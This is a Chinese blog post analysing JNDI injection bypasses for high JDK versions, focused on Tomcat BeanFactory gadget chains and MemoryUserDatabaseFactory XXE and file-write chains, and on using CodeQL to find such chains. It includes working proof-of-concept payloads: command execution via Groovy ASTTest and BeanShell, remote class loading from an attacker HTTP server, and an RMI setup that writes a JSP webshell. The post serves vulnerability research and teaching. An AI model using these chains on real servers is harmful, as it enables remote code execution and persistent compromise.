最近Log4j
的漏洞引起了很多师傅对JNDI注入漏洞利用的研究,浅蓝
师傅的文章探索高版本 JDK 下 JNDI 漏洞的利用方法 提出了很多关于绕过JNDI高版本限制的方法,本文主要是对文章中的部分方法进行分析并加上一些我个人的思考。
前言 在分析这些具体的方法前,我们先对绕过的整体思路做一个阐述。目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory
的加载做限制,只有开启了某些属性后才会通过指定的远程地址获取ObjectFactory
的Class并实例化,进而通过ObjectFactory#getObjectInstance
来获取返回的真实对象。但是在加载远程地址获取ObjectFactory
前,首先在本地ClassPath
下加载指定的ObjectFactory
,本地加载ObjectFactory
失败后才会加载远程地址的ObjectFactory
,所以一个主要的绕过思路就是加载本地ClassPath下的ObjectFactory
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
所以我们需要找到一个javax.naming.spi.ObjectFactory
接口的实现类,在这个实现类的getObjectInstance
可以实现一些恶意操作。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。
常规绕过方式总结 Tomcat下的绕过比较精彩的并不是EL表达式利用,而是通过BeanFactory#getObjectInstance
将这个漏洞的利用面从仅仅只能从ObjectFactory
实现类的getObjectInstance
方法利用扩展为一次可以调用”任意”类的”任意”方法的机会,但是对调用的类和方法以及参数有些限制。
该类必须包含public无参构造方法
调用的方法必须是public方法
调用的方法只有一个参数并且参数类型为String类型
所以下面我们只要找到某个类的某个方法既满足了上面的条件又实现我们想要的功能。
javax.el.ELProcessor#eval
执行命令,但是ELProcessor
是在Tomcat8才引入的。
groovy.lang.GroovyShell#evaluate(java.lang.String)
通过Groovy执行命令。
com.thoughtworks.xstream.XStream().fromXML(String)
通过调用XStream
转换XML时的反序列化漏洞导致的RCE,这里之所以选择XStream
是因为Xstream的反序列化漏洞和影响版本比较多。JSON的转换的漏洞相对来说通用性不高。
org.yaml.snakeyaml.Yaml#load(java.lang.String)
加载Yaml时的反序列化漏洞,在SpringBoot中经常会使用snakeyaml
来进行yml配置文件的解析。
org.mvel2.MVEL#eval(String)
执行命令,这里浅蓝
师傅文章中提到的是MVEL
类是private所以要找上层调用,我在2.0.17
中测试Mvel
是存在public无参构造方法的,高版本确实换成了private构造方法。所以只能找那里调用了Mvel#eval
方法,而org.mvel2.sh.ShellSession#exec
调用了Mvel#eval
,因此可以通过ShellSession#exec
来间接完成调用。
com.sun.glass.utils.NativeLibLoader#loadLibrary(String)
加载DLL,前提是我们已经将构造好的DLL上传至目标上,所以局限性比较大。
CodeQL分析MVEL调用链挖掘过程 上面这些利用方法原理理解都比较简单,但是作者怎么找到org.mvel2.sh.ShellSession#exec
的过程我比较好奇,排除他已知这个方法可以调用外,我们可以思考一下作者如何找到这个方法的。要找到这个方法的思路其实比较简单,可以按照下面的思路。
除了org.mvel2.MVEL#eval(String)
可以执行命令其他重载的eval方法也可以执行命令
查找调用这些eval方法的调用,直到找到一个调用类存在public构造方法且间接调用eval的方法也是public类型并且参数为string类型
但是如果手动找的话其实比较麻烦,因为调用eval方法的函数其实比较多,如下图所示。
所以我想用CodeQL来帮我们做这件事情,由于MVEL是github上的开源项目,所以可以直接在这里 下载到数据库。由于eval方法的第一个参数是要执行的表达式,所以我们将这个参数作为sink,source的名称我们不做限制,但是要限制方法的参数为string且只有一个参数,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import javaimport semmle.code.java.dataflow.FlowSourcesimport DataFlow::PathGraphclass MVEL extends RefType { MVEL(){ this .hasQualifiedName("org.mvel2" , "MVEL" ) } } class CallEval extends Method { CallEval(){ this .getNumberOfParameters() = 1 and this .getParameter(0 ).getType() instanceof TypeString } Parameter getAnUntrustedParameter () { result = this .getParameter(0 ) } } predicate isEval (Expr arg) { exists(MethodAccess ma | ma.getMethod().getName()="eval" and ma.getMethod().getDeclaringType() instanceof MVEL and arg = ma.getArgument(0 ) ) } class TainttrackLookup extends TaintTracking ::Configuration { TainttrackLookup() { this = "TainttrackLookup" } override predicate isSource (DataFlow::Node source) { exists(CallEval evalMethod | source.asParameter() = evalMethod.getAnUntrustedParameter()) } override predicate isSink (DataFlow::Node sink) { exists(Expr arg | isEval(arg) and sink.asExpr() = arg ) } } from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) select sink.getNode(), source, sink, "unsafe lookup" , source.getNode(), "this is user input"
但是跑完以后去掉一些看上去有问题的链后并没有找到浅蓝
师傅发现的那个调用链,只找到了下面的调用链,但是也是在MVEL
类中的,所以也不能利用。
下面分析下为什么没跑出来,首先看下我们设置的sink是否有问题,sink确实可以找到PushContext#execute
方法,所以sink这里没有问题。
再通过下面的代码检测source是否设置正确,也没有问题,所以说明在污点传播的过程中被打断了。
经过分析,猜测可能打断污点传播的点有两处。
exec方法直接将参数添加到inBuffer
中并调用了无参构造方法,如果分析中认为调用无参构造方法就认为污点会被打断那么这里就会导致污点传播被打断
在_exec
中通过arraycopy
完成了passParameters
的赋值操作,如果CodeQL这里没分析好也会导致污点传播被打断。
首先分析第一种情况,在_exec
中将inBuffer
的值封装为inTokens
后调用了containsKey
方法,所以我们在不更改source的情况下将sink更改为对containsKey
的调用。
1 2 3 4 5 6 7 predicate isEval(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName()="containsKey" and arg = ma.getArgument(0) ) }
可以看到确实是可以从ShellSession#exec
追踪到commands.containsKey
中的,所以第一种假设就被推翻了。
再来看第二种猜测,只要我们编写一个isAdditionalTaintStep
将arraycopy的第1个参数和execute
的第2个参数接起来即可。
1 2 3 4 5 6 7 8 override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { exists(MethodAccess ma,MethodAccess ma2 | ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System") and ma.getMethod().hasName("arraycopy") and fromNode.asExpr()=ma.getArgument(0) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command") and ma2.getMethod().hasName("execute") and toNode.asExpr()=ma2.getArgument(1) ) }
最终就可以拿到浅蓝
师傅发现的调用链。
MLet利用方式分析 MLet是UrlClassLoader的子类,因此理论上可以通过loadClass加载远程地址的类进行利用,代码如下:
1 2 3 MLet mLet = new MLet(); mLet.addURL("http://127.0.0.1:2333/" ); mLet.loadClass("Exploit" );
失败的利用分析 虽然说loadClass在加载以后没有newInstance不能触发类的初始化操作,但是在BeanFactory中本身就会根据我们传入的名称来实例化对象,如果我们发送两次请求,第一次通过UrlClassLoader加载到内存,由于在loadClass加载的过程中有个缓存机制,如果已经加载过的类会直接返回,我们在第二次请求中直接让实例化这个类不就可以了。
1 2 3 4 5 6 7 8 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null ) { long t0 = System.nanoTime();
但实际是不行的,因为BeanFactory中获取到类名后是通过Thread.currentThread().getContextClassLoader()
这个加载器来加载类的,而这个类加载器肯定不是Mlet
那个加载器,所以它没有加载过我们创建的恶意类,自然也获取不到了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { var25.printStackTrace(); } }
方法多次调用分析 那么Mlet为什么可以调用多个方法,因为按照我们前面的分析,只会调用一个方法。下面我们简要分析下org.apache.naming.factory.BeanFactory#getObjectInstance
。
从引用对象中获取类名并实例化,这里需要注意的是这个类只实例化了一次 。再从forceString属性中获取内容并通过,
分割转换为数组,遍历数组中的内容并根据=
分割获取要调用的方法名获取method对象并保存到Map中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { var25.printStackTrace(); } } if (beanClass == null ) { throw new NamingException("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap(); String value; String propName; int i; if (ra != null ) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class[]{String.class}; String[] var18 = value.split("," ); i = var18.length; for (int var20 = 0 ; var20 < i; ++var20) { String param = var18[var20]; param = param.trim(); int index = param.indexOf(61 ); if (index >= 0 ) { propName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { propName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put( , beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException("Forced String setter " + propName + " not found for property " + param); } } }
下面获取引用对象中保存的所有属性,通过while循环遍历属性内容并赋值给valueArray作为参数最终通过invoke完成反射调用。这里需要注意的是反射调用是在while循环中的,所以可以调用多个方法 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Enumeration e = ref.getAll(); while (true ) { while (true ) { do { do { do { do { do { if (!e.hasMoreElements()) { return bean; } · ra = (RefAddr)e.nextElement(); propName = ra.getType(); } while (propName.equals("factory" )); } while (propName.equals("scope" )); } while (propName.equals("auth" )); } while (propName.equals("forceString" )); } while (propName.equals("singleton" )); value = (String)ra.getContent(); Object[] valueArray = new Object[1 ]; Method method = (Method)forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName); } }
所以通过上面的分析发现其实在BeanFactory
中其实可以调用多个方法,但是这些方法必须都在同一个Class中。并且由于在这个过程中Class只被实例化了一次,因此可以通过调用不同的方法为Class的属性赋值 。
下来再看这个poc就可以理解为什么可以这么构造了。
1 2 3 4 5 6 7 8 ResourceRef ref = new ResourceRef("javax.management.loading.MLet" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr("forceString" , "b=addURL,c=loadClass" )); ref.add(new StringRefAddr("b" , "http://127.0.0.1:2333/" )); ref.add(new StringRefAddr("c" , "Blue" )); return ref;
失败的UrlClassLoader调用链挖掘尝试 通过Mlet
的加载虽然不能利用,但是我们也可以学习到浅蓝
师傅挖掘调用链的思路,即通过UrlClassLoader的实现类寻找可以加载远程类的代码。
我们也可以尝试去挖掘对UrlClassLoader的调用,相关的调用需要满足以下条件:
存在public构造方法
继承UrlClassLoader并调用了loadClass方法
WebappClassLoaderBase
似乎满足条件,虽然这个类本身没有public构造方法,但是其子类WebappClassLoader
是有无参构造方法的。但是由于WebappClassLoaderBase
的addURL
方法不是public类型的,所以无法利用。
org.codehaus.plexus.compiler.javac.IsolatedClassLoader
满足上面的条件,但是addURL方法的参数不是String类型,所以也无法利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class IsolatedClassLoader extends URLClassLoader { private ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader(); public IsolatedClassLoader () { super (new URL[0 ], (ClassLoader)null ); } public void addURL (URL url) { super .addURL(url); } public synchronized Class<?> loadClass(String className) throws ClassNotFoundException { Class<?> c = this .findLoadedClass(className); ClassNotFoundException ex = null ; if (c == null ) { try { c = this .findClass(className); } catch (ClassNotFoundException var5) { ex = var5; if (this .parentClassLoader != null ) { c = this .parentClassLoader.loadClass(className); } } } if (c == null ) { throw ex; } else { return c; } } }
所以似乎没有其他可以直接利用的ClassLoader了。
GroovyClassLoader执行命令分析 那么为什么GroovyClassLoader
可以加载远程的class并执行里面的内容呢?
首先在addClasspath
中会将我们传入的path转换为URI并添加到当前的GroovyClassLoader
对象中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public void addClasspath (final String path) { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run () { try { URI newURI; if (!GroovyClassLoader.URI_PATTERN.matcher(path).matches()) { newURI = (new File(path)).toURI(); } else { newURI = new URI(path); } URL[] urls = GroovyClassLoader.this .getURLs(); URL[] arr$ = urls; int len$ = urls.length; for (int i$ = 0 ; i$ < len$; ++i$) { URL url = arr$[i$]; if (newURI.equals(url.toURI())) { return null ; } } GroovyClassLoader.this .addURL(newURI.toURL()); } catch (MalformedURLException var7) { } catch (URISyntaxException var8) { } return null ; } }); }
GroovyClassLoader#loadClass
首先通过UrlClassLoader根据我们传入的名称加载远程的Class,加载失败后则根据名称加载groovy,加载成功后会对远程加载的groovy代码编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 public Class loadClass (String name, boolean lookupScriptFiles, boolean preferClassOverScript, boolean resolve) throws ClassNotFoundException, CompilationFailedException { Class cls = this .getClassCacheEntry(name); boolean recompile = this .isRecompilable(cls); if (!recompile) { return cls; } else { ClassNotFoundException last = null ; try { Class parentClassLoaderClass = super .loadClass(name, resolve); if (cls != parentClassLoaderClass) { return parentClassLoaderClass; } } catch (ClassNotFoundException var19) { last = var19; } catch (NoClassDefFoundError var20) { if (var20.getMessage().indexOf("wrong name" ) <= 0 ) { throw var20; } last = new ClassNotFoundException(name); } SecurityManager sm = System.getSecurityManager(); if (sm != null ) { String className = name.replace('/' , '.' ); int i = className.lastIndexOf(46 ); if (i != -1 && !className.startsWith("sun.reflect." )) { sm.checkPackageAccess(className.substring(0 , i)); } } if (cls != null && preferClassOverScript) { return cls; } else { if (lookupScriptFiles) { try { Class classCacheEntry = this .getClassCacheEntry(name); if (classCacheEntry != cls) { Class var24 = classCacheEntry; return var24; } URL source = this .resourceLoader.loadGroovySource(name); Class oldClass = cls; cls = null ; cls = this .recompile(source, name, oldClass); } catch (IOException var17) { .... } }
在recompile
中判断URL是否是文件类型,如果不是则加载远程url中指定的groovy并进行parse。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected Class recompile (URL source, String className, Class oldClass) throws CompilationFailedException, IOException { if (source == null || (oldClass == null || !this .isSourceNewer(source, oldClass)) && oldClass != null ) { return oldClass; } else { synchronized (this .sourceCache) { String name = source.toExternalForm(); this .sourceCache.remove(name); if (this .isFile(source)) { Class var10000; try { var10000 = this .parseClass(new GroovyCodeSource(new File(source.toURI()), this .config.getSourceEncoding())); } catch (URISyntaxException var8) { return this .parseClass(source.openStream(), name); } return var10000; } else { return this .parseClass(source.openStream(), name); } } } }
而在parseClass的过程中会执行@ASTTest
中的代码,因此可以命令执行。
1 2 @groovy .transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" )})class Person {}
在查找资料的过程中,发现浅析JNDI注入Bypass 中也提到了Groovy的绕过利用,可以看到这里其实可以直接调用GroovyClassLoader#parseClass
并传入我们构造好的内容执行命令。
1 2 3 4 5 6 7 ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr("forceString" , "x=parseClass" )); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n" ; ref.add(new StringRefAddr("x" ,script));
命令执行利用链挖掘 除了寻找UrlClassLoader加载远程类外,还有一个思路是寻找可以执行命令的点,那么为什么ScriptEngine
作为JDK自带的可以执行命令的方式不行呢?
因为通过ScriptEngine
来执行命令,都需要两个参数,所以不能通过ScriptEngine调用执行命令。
1 2 3 4 5 6 7 8 9 10 public Object eval (String script, Bindings bindings) throws ScriptException { ScriptContext ctxt = getScriptContext(bindings); return eval(script , ctxt); } public Object eval (Reader reader, ScriptContext ctxt) throws ScriptException { return this .evalImpl(makeSource(reader, ctxt), ctxt); }
尝试通过CodeQL找下NashornScriptEngine#eval
的调用,确实也没有参数为string类型的调用,所以从原生的JDK中应该是找不到命令执行的点了。
除了上面列出的执行命令的方式外,beanshell
也可以执行命令,并且满足我们的条件,因此也可以使用beanshell的利用方式。
1 2 3 4 5 ResourceRef ref = new ResourceRef("bsh.Interpreter" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr("forceString" , "a=eval" )); ref.add(new StringRefAddr("a" , "exec(\"cmd.exe /c calc.exe\")" )); return ref;
MemoryUserDatabaseFactory利用链 上面的分析都是建立在Tomcat下的BeanFactory的利用下的,我们也可以寻找其他实现了ObjectFactory的类利用,浅蓝师傅找到的MemoryUserDatabaseFactory
利用过程比较精彩,这里着重分析一下。
XXE MemoryUserDatabaseFactory#getObjectInstance
首先创建一个MemoryUserDatabase
对象,首先看下tomcat对这个对象的解释,和tomcat的用户有关,tomcat会将这个对象中的内容存储到xml中。
UserDatabase的具体实现,它将所有已定义的用户、组和角色加载到内存中的数据结构中,并使用指定的XML文件进行持久存储。
创建MemoryUserDatabase
后会从我们传入的引用对象中获取pathname
、database
、readonly
并设置到新建的MemoryUserDatabase
对象中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"org.apache.catalina.UserDatabase" .equals(ref.getClassName())) { return null ; } else { MemoryUserDatabase database = new MemoryUserDatabase(name.toString()); RefAddr ra = null ; ra = ref.get("pathname" ); if (ra != null ) { database.setPathname(ra.getContent().toString()); } ra = ref.get("readonly" ); if (ra != null ) { database.setReadonly(Boolean.parseBoolean(ra.getContent().toString())); } ra = ref.get("watchSource" ); if (ra != null ) { database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString())); } database.open(); if (!database.getReadonly()) { database.save(); } return database; } } else { return null ; } }
open
方法会去加载远程的xml文件并进行解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 public void open () throws Exception { this .writeLock.lock(); try { this .users.clear(); this .groups.clear(); this .roles.clear(); String pathName = this .getPathname(); URI uri = ConfigFileLoader.getURI(pathName); URLConnection uConn = null ; try { URL url = uri.toURL(); uConn = url.openConnection(); InputStream is = uConn.getInputStream(); this .lastModified = uConn.getLastModified(); Digester digester = new Digester(); try { digester.setFeature("http://apache.org/xml/features/allow-java-encodings" , true ); } catch (Exception var28) { log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding" ), var28); } digester.addFactoryCreate("tomcat-users/group" , new MemoryGroupCreationFactory(this ), true ); digester.addFactoryCreate("tomcat-users/role" , new MemoryRoleCreationFactory(this ), true ); digester.addFactoryCreate("tomcat-users/user" , new MemoryUserCreationFactory(this ), true ); digester.parse(is); } catch (IOException var29) { log.error(sm.getString("memoryUserDatabase.fileNotFound" , new Object[]{pathName})); } catch (Exception var30) { this .users.clear(); this .groups.clear(); this .roles.clear(); throw var30; } finally { if (uConn != null ) { try { uConn.getInputStream().close(); } catch (IOException var27) { log.warn(sm.getString("memoryUserDatabase.fileClose" , new Object[]{this .pathname}), var27); } } } } finally { this .writeLock.unlock(); } }
而在parse的过程中会对获取到的xml解析,因此存在xxe漏洞。
1 2 3 4 5 6 public Object parse (InputStream input) throws IOException, SAXException { this .configure(); InputSource is = new InputSource(input); this .getXMLReader().parse(is); return this .root; }
RCE 前面也说过MemoryUserDatabase
存储了Tomcat的用户信息并且会存储到xml,那么我们也知道tomcat中的用户信息是在tomcat-users.xml
中的,所以是否我们直接在xml中构建一个我们已知账号密码的xml,让其加载。
在open方法加载远程xml并解析后,如果readonly属性我们设置为false会进入save方法保存xml。
save方法首先判断isWriteable是否为true,否则直接返回
1 2 3 4 5 6 7 8 9 10 11 public void save () throws Exception { if (this .getReadonly()) { log.error(sm.getString("memoryUserDatabase.readOnly" )); } else if (!this .isWriteable()) { log.warn(sm.getString("memoryUserDatabase.notPersistable" )); } else { File fileNew = new File(this .pathnameNew); if (!fileNew.isAbsolute()) { fileNew = new File(System.getProperty("catalina.base" ), this .pathnameNew); }
在isWriteable
中会将catalina.base
和pathname
拼接并判断其目录是否存在如果不存在则返回false。可以看到我们的url地址被处理为\http:\127.0.0.1\tomcat-user.xml
这种形式,所以我们可以通过http://127.0.0.1/../../tomcat-user.xml
来绕过,也不会影响xml的加载。
后面就是执行xml文件写入的功能,可以看到执行完后用户的配置文件已经写入到目标目录下,由于真正的配置是在conf目录下的,所以url中还要加个conf目录。
但是这种绕过方式和Tomcat的版本有关,在Tomcat8的open方法中是通过 ConfigFileLoader.getURI(pathName);
来获取xml的是可以加载远程XML的。
在Tomcat7版本中open方法中是通过 ConfigFileLoader.getInputStream(pathName);
获取的。
在getInputStream
中首先通过file协议加载加载失败才会通过URL记载,所以这种利用方式似乎不能用在Tomcat7的版本,但是高版本的利用本身也有EL表达式,因此MemoryUserDatabaseFactory
利用链似乎 有些鸡肋,但是从学习的角度来看还是很有价值的。
写文件利用 在tomcat7的ConfigFileLoader#getInputStream
中,只有当文件已经存在时才会通过FileInputStream
加载,如果我们传入的文件不存在,还是会去远程加载文件。因此可以让目标加载我们写好的shell到web目录中。首先开启http服务,并创建webapps/ROOT/test.jsp
文件,内容如下:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns ="http://tomcat.apache.org/xml" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://tomcat.apache.org/xml tomcat-users.xsd" version ="1.0" > <role rolename ="< %Runtime.getRuntime().exec(" calc.exe" ); %> " /> </tomcat-users >
这里还要写成XML的形式否则XML解析过程中会失败。开启RMI服务,代码如下:
1 2 3 4 5 6 7 ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref.add(new StringRefAddr("pathname" , "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp" )); ref.add(new StringRefAddr("readonly" , "false" )); ReferenceWrapper war=new ReferenceWrapper(ref); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("xxx" ,war);
由于我们传入的文件名不存在,因此还是会加载远程文件。
最后成功在ROOT目录下写入jsp文件。
rolename中的内容也可以替换冰蝎马,只要Unicode编码后即可。
总结 本文讨论的绕过主要是针对Tomcat下的利用,大多数的利用方式建立在tomcat的BeanFactory利用之上,通过上面的分析,我们对这些利用链的发现思路做一个总结。
寻找可以执行命令的函数,可以直接传入一个string参数执行命令(EL、MVEL、Groovy、Beanshell)
寻找UrlClassLoader,但是这种除了GroovyClassLoader比较特殊会在加载的过程中执行命令,其他实现UrlClassLoader的类加载后并不会实例化
已知存在漏洞的组件,可以直接传入String参数利用后间接执行命令(Xstrem、snakeyaml)
我们从利用的角度再思考一下,目前挖掘这么多利用链的方式其实主要是想解决tomcat低版本下的绕过,虽然MemoryUserDatabaseFactory
RCE的方式无法在Tomcat7利用,但是还是可以通过写webshell的方式利用。最后感谢浅蓝
师傅的分享。
参考 探索高版本 JDK 下 JNDI 漏洞的利用方法
浅析JNDI注入Bypass